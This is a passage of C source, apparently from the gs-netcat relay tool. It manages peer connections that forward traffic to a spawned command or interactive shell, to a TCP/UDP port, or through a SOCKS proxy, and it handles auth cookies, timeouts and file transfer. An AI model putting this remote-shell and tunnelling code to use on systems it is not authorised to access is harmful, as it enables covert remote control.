* FEATURES:
* MULTI-CONNECT
* An example program to show the use of GS_SELECT with multiple
* sockets and connections.
*/
#include "common.h"
#include "utils.h"
#include "socks.h"
#include "console.h"
#include "event_mgr.h"
#include "pkt_mgr.h"
#include "ids.h"
#include "gs-netcat.h"
#include "filetransfer_mgr.h"
#include "man_gs-netcat.h"
#include "gsocket_dso-lib.h"
/* All connected gs-peers indexed by gs->fd */
static struct _peer *peers[FD_SETSIZE];
/* static functions declaration */
static int peer_forward_connect(struct _peer *p, uint32_t ip, uint16_t port);
static void vlog_hostname(struct _peer *p, const char *desc, uint16_t port);
#ifdef DEBUG
#define GS_PEER_IDLE_TIMEOUT GS_SEC_TO_USEC(20)
#else
#define GS_PEER_IDLE_TIMEOUT GS_SEC_TO_USEC(60 + 5)
#endif
// Shut any connection after 2 seconds if an EOF was received (shutdown())
#define GS_PEER_IDLE_TIMEOUT_EOF_UDP GS_SEC_TO_USEC(2)
#define GS_PEER_IDLE_TIMEOUT_EOF_TCP GS_SEC_TO_USEC(2)
/*
* Make statistics and return them in 'dst'
*/
static void
peer_mk_stats(char *dst, size_t len, struct _peer *p)
{
GS *gs = p->gs;
struct timeval *tv_now = gs->ctx->tv_now;
gettimeofday(tv_now, NULL);
uint64_t diff = GS_TV_DIFF(&gs->tv_connected, tv_now);
int64_t msec = diff / 1000;
msec = MAX(msec, 1); /* dont device by zero */
char dbuf[64];
GS_usecstr(dbuf, sizeof dbuf, diff);
char rbuf[64];
char wbuf[64];
GS_bytesstr_long(rbuf, sizeof rbuf, gs->bytes_read);
GS_bytesstr_long(wbuf, sizeof wbuf, gs->bytes_written);
char rbufps[64];
char wbufps[64];
int bps = ((gs->bytes_read * 1000) / msec);
GS_bytesstr(rbufps, sizeof rbufps, bps==0?0:bps);
bps = ((gs->bytes_written * 1000) / msec);
GS_bytesstr(wbufps, sizeof wbufps, bps==0?0:bps);
snprintf(dst, len,
"Disconnected after %s\n"
" Up: "D_MAG("%12s")" [%s/s], Down: "D_MAG("%12s")" [%s/s]\n", dbuf, wbuf, wbufps, rbuf, rbufps);
}
/*
* Close gs-peer and free memory. Close peer->fd unless it's
* stdin/stdout (in which case we keep it open for the next
* connecting gs-peer).
*/
static void
peer_free(GS_SELECT_CTX *ctx, struct _peer *p)
{
GS *gs = p->gs;
int is_stdin_forward = p->is_stdin_forward;
int fd;
DEBUGF_W("PEER FREE\n");
/* Reset console/stty before outputting stats */
if (is_stdin_forward)
{
CONSOLE_reset();
stty_reset();
}
/* A connecting fd (gs->net.sox[0].fd or a connected fd (gs->fd) */
fd = GS_get_fd(gs);
DEBUGF_R("GS_get_fd() == %d\n", GS_get_fd(gs));
XASSERT(peers[fd] == p, "Oops, %p != %p on fd = %d, cmd_fd = %d\n", peers[fd], p, fd, p->fd_in);
ids_gs_logout(p); // Signal all other interactive _clients_ that we are leaving (IDS notification)
GS_EVENT_del(&gopt.event_ping);
GS_EVENT_del(&gopt.event_bps);
GS_EVENT_del(&p->event_peer_timeout);
GS_PKT_close(&p->pkt);
// Free Filetransfer subsystem (-i)
GS_FTM_free(p);
// Free UDP buffer (udp un-stack)
GS_BUF_free(&p->udp_buf);
// Free all pending log files and their data
GS_LIST_del_all(&p->logs, 1);
GS_LIST_del(p->ids_li); // Server only. Remvoe this client from IDS
DEBUGF("IDS Peers remaining: %d\n", gopt.ids_peers.n_items);
p->ids_li = NULL;
/* Exit() if we were reading from stdin/stdout. No other clients
* in this case.
*/
GS_SELECT_del_cb(ctx, p->fd_in);
if (is_stdin_forward)
{
// We could hard exit here but we like to see all the
// stats that GS_close() gives us...
//exit(0); // this will close all fd's :>
} else {
/*. Not stdin/stdout. */
GS_SELECT_FD_CLR_W(ctx, p->fd_in);
GS_SELECT_FD_CLR_R(ctx, p->fd_in);
XCLOSE(p->fd_in);
}
/* Output stats gs was connected */
if (gs->tv_connected.tv_sec != 0)
{
char buf[512];
peer_mk_stats(buf, sizeof buf, p);
GS_LOG_TSP(p, "%s", buf);
if ((p->is_network_forward) && (p->socks.dst_port != 0))
vlog_hostname(p, "Remote: ", p->socks.dst_port);
}
GS_SELECT_del_cb(ctx, fd);
DEBUGF_Y("free'ing peer on fd = %d\n", fd);
memset(p, 0, sizeof *p);
XFREE(peers[fd]);
GS_close(gs); // sets gs->fd to -1
gopt.peer_count = MAX(gopt.peer_count - 1, 0);
DEBUGF_M("Freed gs-peer. Still connected: %d\n", gopt.peer_count);
#ifdef DEBUG
int c = 0;
int i;
for (i = 0; i < FD_SETSIZE; i++)
{
if (peers[i] != NULL)
c++;
}
XASSERT(c == gopt.peer_count, "Oops, found %d peers but should be peer_count = %d\n", c, gopt.peer_count);
#endif
/* STDIN/STDOUT reading supports one gs connection only */
if (is_stdin_forward)
exit(0);
}
static void
cb_atexit(void)
{
CONSOLE_reset();
stty_reset();
if (gopt.is_interactive)
fprintf(stderr, "\n[Bye]\n"); // stdout must be clean for pipe & gs-netcat
}
// Timer event for UDP to close peer when no data is transmitted for long
// time.
// This is called every second and checks if the idle timer
// is larger than GS_PEER_IDLE_TIMEOUT (5*60 sec).
// FIXME-Performance: Could have 1 event in gopt. and loop through all connected peers
// rather than a event for each peer (which is more expensive)
int
cbe_peer_timeout(void *ptr)
{
// DEBUGF_C("Checking timeout\n");
GS_EVENT *event = (GS_EVENT *)ptr;
struct _peer *p = (struct _peer *)event->data;
if (p == NULL)
{
DEBUGF_R("WARN, peer==NULL\n");
return -1;
}
uint64_t expire = p->ts_peer_io + GS_PEER_IDLE_TIMEOUT;
if (gopt.is_udp)
{
if (p->is_received_gs_eof)
expire = p->ts_peer_io + GS_PEER_IDLE_TIMEOUT_EOF_UDP;
} else {
if (!p->is_received_gs_eof)
return 0; // TCP and no EOF received yet.
expire = p->ts_peer_io + GS_PEER_IDLE_TIMEOUT_EOF_TCP;
}
// DEBUGF_C("PEER TIMEOUT check %ld\n", GS_PEER_IDLE_TIMEOUT);
// Return if data was transmitted recently
if (expire >= GS_TV_TO_USEC(&gopt.tv_now))
return 0; // not yet expired.
GS_LOG_TSP(p, "Idle Timeout.\n");
peer_free(p->gs->ctx->gselect_ctx, p);
return -1; // Event manager to free this event.
}
/* *********************** FD READ / WRITE ******************************/
/*
* read() but with detecting CTRL+E (console command)
*/
static ssize_t
read_esc(int fd, uint8_t *buf, size_t len, uint8_t *key)
{
size_t n = 0;
ssize_t sz;
uint8_t c;
int ret;
/* FIXME-PERFORMANCE: Implement buffered read for performance
* when in interactive mode [but then how fast can you type?]
*/
/* FIXME-PERFORMANCE: Cant leave stdin as non-blocking. 'top' wont
* work any more. xterm sends data to stdin (?) and expects
* blocking stdout (my stdin)?
* FIXME-PERFORMANCE: Block-read while console is not being
* displayed (?)
*/
fcntl(fd, F_SETFL, O_NONBLOCK | fcntl(fd, F_GETFL, 0));
while (n < len)
{
sz = read(fd, &c, 1);
// DEBUGF_M("read() = %zd (0x%02x\n", sz, c);
if (sz <= 0)
{
/* EOF or ERROR */
if (errno == EWOULDBLOCK)
break;
if (n == 0)
n = -1; // treat EOF as ERROR
break;
}
/* Check if this is an ESCAPE and stop reading */
ret = CONSOLE_check_esc(c, &c);
// DEBUGF_G("con = %d\n", ret);
if (ret > 0)
{
// HERE: Was an escaped character. 'ret' contains the escaped character
// e.g. when reading ^E+c then ret==c
*key = ret;
break;
}
if (ret >= 0)
continue;
buf[n] = c;
n++;
}
fcntl(fd, F_SETFL, ~O_NONBLOCK & fcntl(fd, F_GETFL, 0));
return n;
}
//
static ssize_t
authcookie_add(uint8_t *buf, size_t len)
{
static char ac_buf[GS_AUTHCOOKIE_LEN];
static size_t ac_len;
size_t copied = MIN(sizeof ac_buf - ac_len, len);
memcpy(ac_buf + ac_len, buf, copied);
ac_len += copied;
if (ac_len >= sizeof ac_buf)
{
gopt.is_want_authcookie = 0;
uint8_t cookie[GS_AUTHCOOKIE_LEN];
authcookie_gen(cookie, gopt.sec_str, 0);
if (memcmp(cookie, ac_buf, sizeof cookie) != 0)
{
DEBUGF_R("AUTH-COOKIE MISMATCH\n");
HEXDUMP(ac_buf, sizeof ac_buf);
HEXDUMP(cookie, sizeof cookie);
return -1; // ERROR
}
DEBUGF_Y("auth-cookie matches\n");
}
return copied;
}
// gs-netcat (internal mode) check stdin to notice when parent process
// has died (and then exits hard).
static int
cb_read_stdin(GS_SELECT_CTX *ctx, int fd, void *arg, int val)
{
DEBUGF_R("STDIN closed. HARD EXIT fd=%d\n", fd);
#ifdef DEBUG
int rv;
char c;
errno = 0;
rv = read(fd, &c, sizeof c);
DEBUGF_R("%d %s\n", rv, strerror(errno));
#endif
exit(EX_FATAL); // hard exit.
}
static int
cb_read_fd(GS_SELECT_CTX *ctx, int fd, void *arg, int val)
{
struct _peer *p = (struct _peer *)arg;
GS *gs = p->gs;
int ret;
uint8_t key = 0;
XASSERT(p->wlen <= 0, "Already data in gs-write buffer (%zd)\n", p->wlen);
errno = 0;
if ((gopt.is_interactive) && (!(gopt.flags & GSC_FL_IS_SERVER)))
{
p->wlen = read_esc(fd, p->wbuf, p->w_max, &key);
if ((key == 0) && (p->wlen == 0))
return GS_SUCCESS; // EWOULDBLOCK
} else {
if (gopt.is_udp)
{
// UDP packaging over TCP = [ 16 bit length | payload ]
p->wlen = read(fd, p->wbuf + 2, p->w_max - 2);
DEBUGF("read=%zd\n", p->wlen);
if (p->wlen > 0)
{
uint16_t len = htons(p->wlen);
memcpy(p->wbuf, &len, 2);
p->wlen += 2;
}
} else {
p->wlen = read(fd, p->wbuf, p->w_max);
}
if (p->wlen == 0)
{
DEBUGF_R("read(%d)==EOF\n", fd);
p->wlen = -1; // treat EOF as -1 (error)
}
}
// HEXDUMPF(p->wbuf, p->wlen, "read(%zd): ", p->wlen);
// DEBUGF_M("Read %zd from fd_cmd = %d (errno %d)\n", p->wlen, fd, errno);
if (p->wlen < 0)
{
DEBUGF_R("FD=%d error: %s\n", fd, strerror(errno));
if (p->is_stdin_forward)
{
/* Gracefully half-duplex. We can not read from fd but
* peer might still have data to send (which we can write).
*/
FD_CLR(fd, ctx->rfd); // Stop reading from fd
ret = GS_shutdown(gs);
/* Destroy peer if shutdown failed or we already received a EOF from peer */
if (ret != GS_ERR_FATAL)
return GS_SUCCESS;
}
DEBUGF("%s(%d) %s\n", __func__, fd, strerror(errno));
peer_free(ctx, p);
return GS_SUCCESS; /* SUCCESS. fd had no errors [ssl may have had] */
}
p->ts_peer_io = GS_TV_TO_USEC(&gopt.tv_now);
// Check if this was internal data for gs-netcat -I
if ((gopt.is_internal) && (gopt.is_want_authcookie != 0))
{
ssize_t sz;
sz = authcookie_add(p->wbuf, p->wlen);
if (sz < 0)
{
DEBUGF_R("BAD AUTH COOKIE\n");
GS_LOG_TSP(p, "Bad Auth Cookie.\n");
peer_free(ctx, p);
return GS_SUCCESS;
}
memmove(p->wbuf, p->wbuf + sz, p->wlen - sz);
p->wlen -= sz;
DEBUGF_G("%zd bytes left after auth cookie...\n", p->wlen);
}
// First offer data to console
int was_data_for_console = 0;
if ((gopt.is_interactive) && (!(gopt.flags & GSC_FL_IS_SERVER)))
{
was_data_for_console = CONSOLE_readline(p, p->wbuf, p->wlen);
if (was_data_for_console)
p->wlen = 0;
}
if (!(was_data_for_console))
{
if (gopt.is_interactive)
{
size_t dsz;
GS_PKT_encode(&p->pkt, p->wbuf, p->wlen, p->pbuf, &dsz);
if (p->wlen != dsz)
{
/* HERE: ESC found. Encoded. */
memcpy(p->wbuf, p->pbuf, dsz);
p->wlen = dsz;
}
}
if (p->wlen > 0)
write_gs(ctx, p, NULL);
}
/*
* Take action if a console key has been received
*/
if (key > 0)
CONSOLE_action(p, key);
return GS_SUCCESS;
}
// Convert STREAM to DRGRAM. [ 16 bit lenght | payload ]
// Return NULL if not enough data
// Keep calling this function until NULL is returned.
static uint8_t *
udp_unstack(struct _peer *p, uint8_t *src, size_t slen, ssize_t *dlen)
{
GS_BUF *u = &p->udp_buf;
// FIXME-PERFORMANCE: can work immediately on src if enough data
// has been received without adding to udp_buf.
GS_BUF_add_data(u, src, slen);
if (GS_BUF_USED(u) < 2)
return NULL; // not enough data yet
uint16_t len;
memcpy(&len, GS_BUF_DATA(u), 2);
len = ntohs(len);
DEBUGF_C("UDP-length=%u\n", len);
if (GS_BUF_USED(u) < 2 + len)
return NULL; // not enough data yet.
*dlen = len;
return (uint8_t *)GS_BUF_RSRC(u) + 2;
}
static int
write_fd(GS_SELECT_CTX *ctx, struct _peer *p)
{
ssize_t len = 0;
if ((gopt.is_interactive) && (!(gopt.flags & GSC_FL_IS_SERVER)))
len = CONSOLE_write(p->fd_out, p->rbuf, p->rlen);
else if (gopt.is_udp) {
// UDP un-stacker: [ 16 bit len | payload ] => [ paypload ]
// Add content of rbuf to our stack.
ssize_t dlen;
uint8_t *ptr;
uint8_t *src = p->rbuf;
uint8_t *end = p->rbuf + p->rlen;
while (1)
{
ptr = udp_unstack(p, src, end - src, &dlen);
if (ptr == NULL)
break;
src = end;
len = write(p->fd_out, ptr, dlen);
if (len != dlen)
break;
// write() was a success. Consume data from Buffer.
GS_BUF_del(&p->udp_buf, dlen + 2 /*length*/);
}
// Check if there is data still in our stack.
} else {
len = write(p->fd_out, p->rbuf, p->rlen);
}
// DEBUGF_G("write(fd = %d, len = %zd) == %zd, errno = %d (%s)\n", p->fd_out, p->rlen, len, errno, errno==0?"":strerror(errno));
if (len < 0)
{
if (errno == EAGAIN)
{
/* Marked saved state and current state to STOP READING.
* Even when in WANT_WRITE we must not start reading after
* the WANT_WRITE has been satisfied (until this write() has
* completed.
*/
GS_SELECT_FD_CLR_R(ctx, p->gs->fd);
XFD_SET(p->fd_out, ctx->wfd); // Mark cmd_fd for writing
return GS_ECALLAGAIN; //GS_SUCCESS; /* Successfully handled */
}
DEBUGF("%s\n", __func__);
peer_free(ctx, p);
return GS_SUCCESS; /* Succesfully removed peer */
}
FD_CLR(p->fd_out, ctx->wfd); // write success.
/* Start reading from GS if we are not in a saved state.
* Otherwise mark for reading in saved state (and let WANT_WRITE finish)
*/
GS_SELECT_FD_SET_R(ctx, p->gs->fd);
p->ts_peer_io = GS_TV_TO_USEC(&gopt.tv_now);
p->rlen = 0;
return GS_SUCCESS;
}
static int
cb_write_fd(GS_SELECT_CTX *ctx, int fd, void *arg, int val)
{
return write_fd(ctx, (struct _peer *)arg);
}
/* *********************** NETWORK READ / WRITE *************************/
/*
* Check & Handle GS_read() errors
*/
static void
cb_read_gs_error(GS_SELECT_CTX *ctx, struct _peer *p, ssize_t len)
{
if (len == GS_ERR_EOF)
{
/* The same for STDOUT, tcp-fordward or cmd-forward [/bin/sh] */
DEBUGF_M("CMD shutdown(p->fd=%d)\n", p->fd_out);
p->is_received_gs_eof = 1;
if (gopt.is_receive_only)
peer_free(ctx, p);
// clients immediately exist if EOF from remote (-iC shell typing 'exit').
if ((gopt.is_interactive) && (!GS_is_server(p->gs)))
peer_free(ctx, p);
shutdown(p->fd_out, SHUT_WR);
} else if (len < 0) { /* any ERROR (but EOF) */
DEBUGF_R("Fatal error=%zd in GS_read() (stdin-forward == %d)\n", len, p->is_stdin_forward);
GS_shutdown(p->gs);
// DEBUGF_R("GS_shutdown() = %d\n", ret);
/* Finish peer on FATAL (2nd EOF) or if half-duplex (never send data) */
peer_free(ctx, p); // Will exit() if reading from stdin.
}
}
static int
cb_read_gs(GS_SELECT_CTX *ctx, int fd, void *arg, int val)
{
struct _peer *p = (struct _peer *)arg;
GS *gs = p->gs;
ssize_t len;
int ret;
if (p->rlen > 0)
DEBUGF_C("fd=%d Pending data in nc-read input buffer (len=%zd)\n", fd, p->rlen);
XASSERT(p->rlen < p->r_max, "rlen=%zd larger than buffer\n", p->rlen);
len = GS_read(gs, p->rbuf + p->rlen, p->r_max - p->rlen);
// DEBUGF_G("GS_read(fd = %d) == %zd\n", gs->fd, len);
if (len == 0)
return GS_ECALLAGAIN;
if (len < 0)
{
cb_read_gs_error(ctx, p, len);
return GS_SUCCESS; // Successfully removed peer
}
p->rlen += len;
if ((gopt.is_socks_server && (p->socks.state != GSNC_STATE_CONNECTED)))
{
/* HERE: SOCKS has not finished yet. Keep stuffing data in */
ret = SOCKS_add(p);
if (ret != GS_SUCCESS)
{
DEBUGF_R("**** SOCKS_add() ERROR ****\n");
cb_read_gs_error(ctx, p, GS_ERR_FATAL);
return GS_SUCCESS;
}
if (p->socks.state == GSNC_STATE_CONNECTING)
{
DEBUGF_C("SOCKS_add() has finished\n");
ret = peer_forward_connect(p, p->socks.dst_ip, p->socks.dst_port);
if (ret != 0)
return GS_SUCCESS; // Successfully removed
p->socks.state = GSNC_STATE_CONNECTED; // as if this is a normal port forward...
}
/* HERE: Socks just got CONNECTED. Flush any pending data. */
if (p->wlen > 0)
write_gs(ctx, p, NULL);
} else {
if (gopt.is_interactive)
{
if (p->is_stdin_forward)
{
/* HERE: Client */
if (p->is_stty_set_raw == 0)
{
/* Set TTY=raw first time we receive data [connection alive] */
XASSERT(p->fd_in == STDIN_FILENO, "p->fd_in = %d, not STDIN\n", p->fd_in);
stty_set_raw();
p->is_stty_set_raw = 1;
}
}
/* HERE: Client Or Server. Interactive */
size_t dsz;
ret = GS_PKT_decode(&p->pkt, p->rbuf, p->rlen, p->rbuf, &dsz);
p->rlen = dsz;
if (ret != 0)
{
/* Protocol Error [FATAL] */
cb_read_gs_error(ctx, p, GS_ERR_FATAL);
return GS_SUCCESS; // Successfully removed peer
}
}
// See if any app data is there for the FD
// (Could have been that GS_PKT_decode() consumed all data for channels).
if (p->rlen > 0)
write_fd(ctx, p);
}
return GS_SUCCESS;
}
// Attempt to write and set write flag if busy. Non-Recursive.
// Return len on success.
//
// Return 0: SUCCESS (or no data written because p->wlen was empty)
// Return -1 : Busy (caller to return ECALLAGAIN)
// Return <-1: Fatal (exit)
int
write_gs_atomic(GS_SELECT_CTX *ctx, struct _peer *p)
{
int len;
// p->wlen might be == 0 when SSL_shutdown() was called but yielded SSL_WANT_WRITE
len = GS_write(p->gs, p->wbuf, p->wlen);
if (len == -2)
return 0; // NOTHING to be done
if (len == -1)
return -2; // Error
// DEBUGF_R("GS_write(fd==%d), len=%d\n", p->gs->fd, len);
if (len == 0)
{
/* GS_write() would block. */
// DEBUGF_M("Pause reading from fd_in=%d\n", p->fd_in);
FD_CLR(p->fd_in, ctx->rfd); // Pause reading from input
GS_FT_pause_data(&p->ft); // Pause FileTransfers
return -1; // BUSY
}
if (len > 0)
{
// Always unpause FileTransfer (even if not paused).
GS_FT_unpause_data(&p->ft);
// Check if FileTransfer still needs to xfer more data
if (GS_FT_WANT_WRITE(&p->ft))
GS_SELECT_FD_SET_W(p->gs);
}
return len;
}
int
write_gs(GS_SELECT_CTX *ctx, struct _peer *p, int *killed)
{
int len;
len = write_gs_atomic(ctx, p);
if (len == -1)
return GS_ECALLAGAIN;
if (len == p->wlen)
{
// SUCCESS of GS_write() (or p->wlen was 0)
p->wlen = 0;
if (p->is_fd_connected)
{
/* SOCKS subsystem calls write_gs() before p->fd_in is connected
* Make sure XFD_SET() is only called on a connected() socket.
*/
// DEBUGF_M("Start reading from fd_in(=%d) again\n", p->fd_in);
// FD_CLR(p->gs->fd, ctx->wfd);
GS_SELECT_FD_CLR_W(ctx, p->gs->fd);
XFD_SET(p->fd_in, ctx->rfd); // Start reading from input again
}
// FIXME-PERFORMANCE: Could change this to 'make' packets and append them to
// p->wbuf and do one large atomic write instead of recursive calls....
// Check if there is any other data we like to write...
if (gopt.is_win_resized)
{
get_winsize();
int row = gopt.winsize.ws_row;
if (gopt.is_console)
{
CONSOLE_resize(p);
row -= GS_CONSOLE_ROWS;
}
gopt.is_win_resized = 0;
/* Calls write_gs() */
return pkt_app_send_wsize(ctx, p, row);
}
if (gopt.is_pong_pending)
{
gopt.is_pong_pending = 0;
return pkt_app_send_pong(ctx, p);
}
if (gopt.is_want_ping)
{
gopt.is_want_ping = 0;
return pkt_app_send_ping(ctx, p);
}
if (gopt.is_want_pwd)
{
gopt.is_want_pwd = 0;
return pkt_app_send_pwdrequest(ctx, p);
}
if (gopt.is_pwdreply_pending)
{
gopt.is_pwdreply_pending = 0;
return pkt_app_send_pwdreply(ctx, p);
}
if (gopt.is_want_ids_on)
{
gopt.is_want_ids_on = 0;
return pkt_app_send_ids(ctx, p);
}
if (p->is_pending_logs)
{
return pkt_app_send_all_log(ctx, p);
}
// Last: Send data from FileTransfer subsystem.
int ret;
ret = pkt_app_send_ft(ctx, p);
if ((ret == GS_ERROR) || (ret == GS_ERR_FATAL))
goto err;
return ret; // ECALLAGAIN==1 || ESUCCESS==0
}
err:
/* HERE: ERROR on GS_write() */
DEBUGF("%s\n", __func__);
peer_free(ctx, p);
if (killed != NULL)
*killed = 1;
return GS_SUCCESS; // Successfully removed peer
}
static int
cb_write_gs(GS_SELECT_CTX *ctx, int fd, void *arg, int val)
{
return write_gs(ctx, (struct _peer *)arg, NULL);
}
/* ******************************* GS LISTEN ****************************/
static void
completed_connect(GS_SELECT_CTX *ctx, struct _peer *p, int fd_in, int fd_out)
{
GS *gs = p->gs;
/* Get ready to read from FD (either (forwarding) TCP, app or stdin/stdout */
FD_CLR(fd_out, ctx->wfd);
XFD_SET(fd_in, ctx->rfd);
GS_SELECT_add_cb_r(ctx, cb_read_fd, fd_in, p, 0);
GS_SELECT_add_cb_w(ctx, cb_write_fd, fd_out, p, 0);
/* And also get ready to read from GS-peer */
XFD_SET(gs->fd, ctx->rfd);
p->is_fd_connected = 1;
/* Write any data that is left in rbuf to fd */
if (p->rlen > 0)
write_fd(ctx, p);
}
/*
* Complete TCP connection to network forward on server side.
*/
static int
cb_complete_connect(GS_SELECT_CTX *ctx, int fd, void *arg, int val)
{
int ret;
struct _peer *p = (struct _peer *)arg;
ret = fd_net_connect(ctx, fd, p->socks.dst_ip, p->socks.dst_port);
DEBUGF_M("fd_net_connect(fd=%d) = %d\n", fd, ret);
if (ret == GS_ERR_WAITING)
return GS_ECALLAGAIN;
if (ret == GS_ERR_FATAL)
{
DEBUGF("%s\n", __func__);
GS_LOG_TSP(p, "%s\n", strerror(errno));
peer_free(ctx, p);
return GS_SUCCESS;
}
if ((gopt.is_internal) && (gopt.is_send_authcookie != 0))
{
// Send auth-cookie to TCP (incoming)
authcookie_gen(p->rbuf, gopt.sec_str, 0);
p->rlen = GS_AUTHCOOKIE_LEN;
}
completed_connect(ctx, p, p->fd_in, p->fd_out);
return GS_SUCCESS;
}
/*
* Interactive client only has 1 peer. We need to find
* it from signal handlers. Set it here.
*/
static struct _peer *my_peer;
static void
cb_sigwinch(int sig)
{
// DEBUGF("Window Size changed\n");
XASSERT(my_peer != NULL, "my_peer is NULL. Not client. Not interactive.?\n");
gopt.is_win_resized = 1;
GS_SELECT_FD_SET_W(my_peer->gs);
}
/*
* Server & Client
*/
static struct _peer *
peer_new_init(GS *gs)
{
struct _peer *p;
int fd = GS_get_fd(gs);
XASSERT(peers[fd] == NULL, "peers[%d] already used by %p (fd = %d)\n", fd, peers[fd], peers[fd]->gs->fd);
p = calloc(1, sizeof *p);
p->gs = gs;
peers[fd] = p;
gopt.peer_count++;
gopt.peer_id_counter++;
p->id = gopt.peer_id_counter;
GS_PKT_init(&p->pkt);
p->w_max = sizeof p->wbuf;
p->r_max = sizeof p->rbuf;
if (gopt.is_interactive)
{
/* -i: Use of packet protocol needs decoding space */
p->w_max = sizeof p->wbuf / 2; /* from fd, to GS */
p->r_max = sizeof p->rbuf / 2; /* from fd, to GS */
if (!(gopt.flags & GSC_FL_IS_SERVER))
{
/* CLIENT, interactive */
my_peer = p;
signal(SIGWINCH, cb_sigwinch);
get_winsize();
GS_EVENT_add_by_ts(&gs->ctx->gselect_ctx->emgr, &gopt.event_ping, 0, GS_APP_PINGFREQ, cbe_ping, p, 0);
GS_EVENT_add_by_ts(&gs->ctx->gselect_ctx->emgr, &gopt.event_bps, 0, GS_APP_BPSFREQ, cbe_bps, p, 0);
} else {
/* SERVER, interactive */
ids_gs_login(p); // Let all others know what we have logged in:
}
}
p->ts_peer_io = GS_TV_TO_USEC(&gopt.tv_now);
GS_EVENT_add_by_ts(&gs->ctx->gselect_ctx->emgr, &p->event_peer_timeout, 0, GS_SEC_TO_USEC(1), cbe_peer_timeout, p, 0);
if (gopt.is_udp)
{
GS_BUF_init(&p->udp_buf, 0);
}
DEBUGF_M("[ID=%d] (fd=%d) Number of connected gs-peers: %d\n", p->id, fd, gopt.peer_count);
return p;
}
static void
vlog_hostname(struct _peer *p, const char *desc, uint16_t port)
{
uint16_t hp = ntohs(port);
const char *u = gopt.is_udp?"(UDP)":"(TCP)";
if (hp == 443)
GS_LOG(" %s"D_BLU("%s")":"D_GRE("%d")" %s\n", desc, p->socks.dst_hostname, hp, u);
else if (hp == 80)
GS_LOG(" %s"D_BLU("%s")":"D_YEL("%d")" %s\n", desc, p->socks.dst_hostname, hp, u);
else
GS_LOG(" %s"D_BLU("%s")":"D_BRED("%d")" %s\n", desc, p->socks.dst_hostname, hp, u);
}
static int
peer_forward_connect(struct _peer *p, uint32_t ip, uint16_t port)
{
int ret;
GS *gs = p->gs;
GS_SELECT_CTX *ctx = gs->ctx->gselect_ctx;
vlog_hostname(p, "Forwarding to ", port);
ret = fd_net_connect(ctx, p->fd_in, ip, port);
if (ret <= -2)
{
DEBUGF("%s peer-free\n", __func__);
GS_LOG_TSP(p, "%s\n", strerror(errno));
peer_free(ctx, p);
return -1;
}
GS_SELECT_add_cb(ctx, cb_complete_connect, cb_complete_connect, p->fd_in, p, 0);
XFD_SET(p->fd_in, ctx->wfd); /* Wait for connect() to complete */
FD_CLR(p->fd_in, ctx->rfd);
FD_CLR(gs->fd, ctx->rfd); // Stop reading from GS-peer
return 0;
}
/*
* SERVER
*/
static struct _peer *
peer_new(GS_SELECT_CTX *ctx, GS *gs)
{
struct _peer *p;
int ret;
p = peer_new_init(gs);
GS_LOG_TSP(p, "New Connection\n");
/* Create a new fd to relay gs-traffic to/from */
if ((gopt.cmd != NULL) || (gopt.is_interactive))
{
p->fd_in = fd_cmd(gopt.cmd, &p->pid);// Forward to forked process stdin/stdout
DEBUGF_W("fd=%d, pid=%d\n", p->fd_in, p->pid);
p->fd_out = p->fd_in;
p->is_app_forward = 1;
} else if (gopt.port != 0) {
p->fd_in = fd_new_socket(gopt.is_udp?SOCK_DGRAM:SOCK_STREAM); // Forward to ip:port
p->fd_out = p->fd_in;
p->is_network_forward = 1;
} else if (gopt.is_socks_server != 0) {
p->fd_in = fd_new_socket(SOCK_STREAM); // SOCKS
DEBUGF_W("[ID=%d] gs->fd = %d\n", p->id, gs->fd);
p->fd_out = p->fd_in;
p->is_network_forward = 1;
} else {
p->fd_in = STDIN_FILENO; // Forward to STDIN/STDOUT
p->fd_out = STDOUT_FILENO;
p->is_stdin_forward = 1;
}
if (p->fd_in < 0)
{
ERREXIT("Cant create forward...%s\n", GS_strerror(gs));
}
if (gopt.is_interactive)
{
/* SERVER */
GS_PKT_assign_msg(&p->pkt, PKT_MSG_WSIZE, pkt_app_cb_wsize, p);
GS_PKT_assign_msg(&p->pkt, PKT_MSG_PING, pkt_app_cb_ping, p);
GS_PKT_assign_msg(&p->pkt, PKT_MSG_IDS, pkt_app_cb_ids, p);
GS_PKT_assign_msg(&p->pkt, PKT_MSG_PWD, pkt_app_cb_pwdrequest, p);
GS_FTM_init(p, 1);
}
if (p->is_network_forward == 0)
{
/* STDIN/STDOUT or app-fd always complete immediately */
completed_connect(ctx, p, p->fd_in, p->fd_out);
} else {
if (gopt.is_socks_server)
{
ret = SOCKS_init(p);
if (ret != GS_SUCCESS)
{
peer_free(ctx, p);
return NULL;
}
} else {
/* A straight network forward is as if the SOCKS completed already */
p->socks.dst_ip = gopt.dst_ip;
p->socks.dst_port = gopt.port;
snprintf(p->socks.dst_hostname, sizeof p->socks.dst_hostname, "%s", int_ntoa(p->socks.dst_ip));
p->socks.state = GSNC_STATE_CONNECTED;
ret = peer_forward_connect(p, p->socks.dst_ip, p->socks.dst_port);
if (ret != 0)
return NULL;
}
}
return p;
}
/*
* SERVER
*/
static int
cb_listen(GS_SELECT_CTX *ctx, int fd, void *arg, int val)
{
GS *gs = (GS *)arg;
GS *gs_new;
int err;
DEBUGF("cb_listen %p, fd = %d, arg = %p, type = %d\n", ctx, fd, arg, val);
gs_new = GS_accept(gs, &err);
if (gs_new == NULL)
{
if (err <= -2)
ERREXIT("%s\n", GS_CTX_strerror(gs->ctx)); //Another Server is already listening or Network error.\n");
/* HERE: GS_accept() is not ready yet to accept() a new
* gsocket. (May have processed GS-pkt data) or may have
* closed the socket and established a new one (to wait for
* the next connection).
*/
return GS_SUCCESS; /* continue */
}
/* Stop accepting more connections if stdin/stdout is used */
if (gopt.is_multi_peer == 0) //(gopt.cmd == NULL) && (gopt.dst_ip == 0) && (!gopt.is_interactive))
{
GS_close(gopt.gsocket);
gopt.gsocket = NULL;
}
/* HERE: Success. A new GS connection. */
DEBUGF_B("Current max_fd %d (gs fd = %d)\n", ctx->max_fd, gs_new->fd);
struct _peer *p;
p = peer_new(ctx, gs_new);
if (p == NULL)
return GS_SUCCESS; /* free'ing peer was a success */
/* Start reading from Network (SRP is handled by GS_read()/GS_write()) */
GS_SELECT_add_cb(ctx, cb_read_gs, cb_write_gs, gs_new->fd, p, 0);
return 0; /* continue */
}
static void
do_server(void)
{
GS_SELECT_CTX ctx;
int n;
GS_SELECT_CTX_init(&ctx, &gopt.rfd, &gopt.wfd, &gopt.r, &gopt.w, &gopt.tv_now, GS_SEC_TO_USEC(1));
/* Tell GS_CTX subsystem to use GS-SELECT */
GS_CTX_use_gselect(&gopt.gs_ctx, &ctx);
GS_listen(gopt.gsocket, 1);
/* Add all listening fd's to select()-subsystem */
